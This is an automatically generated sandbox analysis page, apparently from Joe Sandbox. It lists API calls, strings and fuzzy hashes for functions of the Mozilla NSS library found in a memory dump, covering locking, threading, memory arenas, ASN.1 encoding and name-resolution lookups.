Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction ID: e53f07c1b180bb204055c4c17be421d58441cca6e67f711932a53397bde4e26c
Opcode Fuzzy Hash: c8d1fee28f86fb97765fdea171b18f014f934adaf68affd44b1ea90237aa1530
Instruction Fuzzy Hash: E391BDB0A11302DFDBA0DF78E84975BBAF4BB06748F20842EE44AD6B40DB71A105CF95

Function 6CE7D8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6CE7DA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DA9D
TlsGetValue.KERNEL32 ref: 6CE7DB0A
EnterCriticalSection.KERNEL32(?), ref: 6CE7DB1E
TlsGetValue.KERNEL32 ref: 6CE7DB43
EnterCriticalSection.KERNEL32(?), ref: 6CE7DB57
TlsGetValue.KERNEL32(00000000,?,6CE7D06D), ref: 6CE7DB7C
EnterCriticalSection.KERNEL32(?,?,6CE7D06D), ref: 6CE7DB90
PR_Unlock.NSS3(?), ref: 6CE7DBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6CE7DC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6CE7D06D), ref: 6CE7DC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CE7D06D), ref: 6CE7DD01

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: f23773c4e33a0a7f6a71083bd8e1d233c68b158a550528eb1a76396a1cf99101
Instruction ID: 8ece3bc02768e9fef6a323a10e9a7941b01af6f1c231617137b0b0155db2f117
Opcode Fuzzy Hash: f23773c4e33a0a7f6a71083bd8e1d233c68b158a550528eb1a76396a1cf99101
Instruction Fuzzy Hash: 65E1C138A00700CFD7209F68D884B66B7F5FF0A318F218968D95687B61D771FA45CBA1

Function 6CF69C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF69C70
PR_NewLock.NSS3 ref: 6CF69C85

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000), ref: 6CF69C96

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewLock.NSS3 ref: 6CF69CA9

Part of subcall function 6CF198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF19946
Part of subcall function 6CF198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDD16B7,00000000), ref: 6CF1994E
Part of subcall function 6CF198D0: free.MOZGLUE(00000000), ref: 6CF1995E

PR_NewLock.NSS3 ref: 6CF69CB9
PR_NewLock.NSS3 ref: 6CF69CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF69CDA

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(?), ref: 6CF69CF0
PR_NewPollableEvent.NSS3 ref: 6CF69D03

Part of subcall function 6CF5F3B0: PR_CallOnce.NSS3(6CFB14B0,6CF5F510), ref: 6CF5F3E6
Part of subcall function 6CF5F3B0: PR_CreateIOLayerStub.NSS3(6CFB006C), ref: 6CF5F402
Part of subcall function 6CF5F3B0: PR_Malloc.NSS3(00000004), ref: 6CF5F416
Part of subcall function 6CF5F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF5F42D
Part of subcall function 6CF5F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF5F455
Part of subcall function 6CF5F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF5F473

Part of subcall function 6CF19890: TlsGetValue.KERNEL32(?,?,?,6CF197EB), ref: 6CF1989E

EnterCriticalSection.KERNEL32(?), ref: 6CF69D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DAF
_PR_CreateThread.NSS3(00000000,6CF69EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69D9F

Part of subcall function 6CE3B3C0: TlsGetValue.KERNEL32 ref: 6CE3B403
Part of subcall function 6CE3B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE3B459

_PR_CreateThread.NSS3(00000000,6CF6A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69DFC
_PR_CreateThread.NSS3(00000000,6CF6A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF69E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF69E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF69E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF69E89

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction ID: 86c9e7a5789dabdf62c6c31ecf53b92b682a004810a74c164998f840938e12a9
Opcode Fuzzy Hash: 22c23ffee1879f6de288533cd2563ef227f3b7cc913f8ad8201a4de39fe800fc
Instruction Fuzzy Hash: D4612AB1E00706AFD714DF75D844AA6BBE8FF08208B14452AE85AC7B11EB71E914CBA1

Function 6CE63FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE64014

Part of subcall function 6CE639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F,?), ref: 6CE63A08
Part of subcall function 6CE639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE65E6F), ref: 6CE63A1C
Part of subcall function 6CE639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE63A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE64038

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE6404D

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A0F4), ref: 6CE640C2

Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEAF0C8
Part of subcall function 6CEAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE6409A

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE64108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE6411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE64137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE64150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF7A1C8), ref: 6CE6417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE64194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE641B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF7A1A8), ref: 6CE6422D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction ID: 68f2fcfa0c5683bed19de6bdfd0ec504d46b499de0cba5213ea98722a67c7609
Opcode Fuzzy Hash: 5ab8e6e81d34609722ae1d402fdc20cd6a527b781349f525bdbe6b25778af19f
Instruction Fuzzy Hash: F35115B2A503016BF710DB669C61B6776FDDF6124CF34452EE969C6F82FB31E40482A2

Function 6CEA8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8E9E
PORT_ArenaAlloc_Util.NSS3(6CFB0B64,00000001,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEA8E01,00000000,6CEA9060,6CFB0B64), ref: 6CEA8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEA8E01), ref: 6CEA8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFB0B64,6CFB0B64), ref: 6CEA8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEA8F3F

Part of subcall function 6CEAA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEAA421,00000000,00000000,6CEA9826), ref: 6CEAA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEA904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEA8E76

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction ID: feff9da8b94cc17a767d63df4874004daff1effded5eb1137b61f4f039c02469
Opcode Fuzzy Hash: df639edb548deb5a085d444be6265976688df1308635d89409abc9087996d663
Instruction Fuzzy Hash: 9E6186B5D0010A9FDB10CF96CC80AAFB7B5FF84358F244529DC18AB740E732A916CBA0

Function 6CE58E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE58E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE58E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE58EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF818D0,?), ref: 6CE58F03
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE58F19
PL_FreeArenaPool.NSS3(?), ref: 6CE58F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE58F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE58F65
PL_FinishArenaPool.NSS3(?), ref: 6CE58FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE58FFE
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE59012
PL_FreeArenaPool.NSS3(?), ref: 6CE59024
PL_FinishArenaPool.NSS3(?), ref: 6CE5902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE5903E

Strings

security, xrefs: 6CE58EE7

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction ID: 149d2e74f7436a551246f2ecf381585a970c841b2e7074463e0207c51d1a1f89
Opcode Fuzzy Hash: 24557e0f0c6d0113c7012f551e16bd49e75b20f519cbdb60909dc8f6803a6cc7
Instruction Fuzzy Hash: 3F514BB1658200ABD7205A559C41FAB73F8AF8635CFB4082EF455A7B40D733D9198763

Function 6CF1CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A

Part of subcall function 6CF1CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE8C1A8,?), ref: 6CF1CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E

Part of subcall function 6CE405C0: PR_EnterMonitor.NSS3 ref: 6CE405D1
Part of subcall function 6CE405C0: PR_ExitMonitor.NSS3 ref: 6CE405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF1CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CE48

Strings

getaddrinfo, xrefs: 6CF1CD88, 6CF1CDF9
wship6.dll, xrefs: 6CF1CDE3
getnameinfo, xrefs: 6CF1CDB2, 6CF1CE23
ws2_32.dll, xrefs: 6CF1CD75
freeaddrinfo, xrefs: 6CF1CD9F, 6CF1CE10

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction ID: 7dc4140a5cf8c9ed4243dc8fa1e41469d174b04b27f64bb99cc239b67472e1d6
Opcode Fuzzy Hash: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction Fuzzy Hash: DA110BB6E2B11212EB4167753C41BEF3D799B1210CF688938D815D1F80FB25C90987E6

Function 6CF61C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF613BC,?,?,?,6CF61193), ref: 6CF61C6B
PR_NewLock.NSS3(?,6CF61193), ref: 6CF61C7E

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000,?,6CF61193), ref: 6CF61C91

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF61193), ref: 6CF61CA7

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF61193), ref: 6CF61CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF61193), ref: 6CF61CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF61193), ref: 6CF61D1A

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D3D

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF61193), ref: 6CF61D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF61193), ref: 6CF61D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF61193), ref: 6CF61D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61D93
PR_DestroyLock.NSS3(00000000,?,?,6CF61193), ref: 6CF61D9F
free.MOZGLUE(00000000,?,6CF61193), ref: 6CF61DA8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction ID: 9dd8915c2fbd2f4c9461a22453cccab448e67ff6f1aa01db83246bbfcc253cee
Opcode Fuzzy Hash: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction Fuzzy Hash: 363185F5E007015BEB209F65EC41B6776F4AF05758B148539E84A87F41FB31E518CBA2

Function 6CE75E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE75ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE75EE3
PR_Unlock.NSS3(?), ref: 6CE75F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE75FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE761F4
S&l, xrefs: 6CE75E6C, 6CE7627F, 6CE75F12
S&l, xrefs: 6CE762E3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
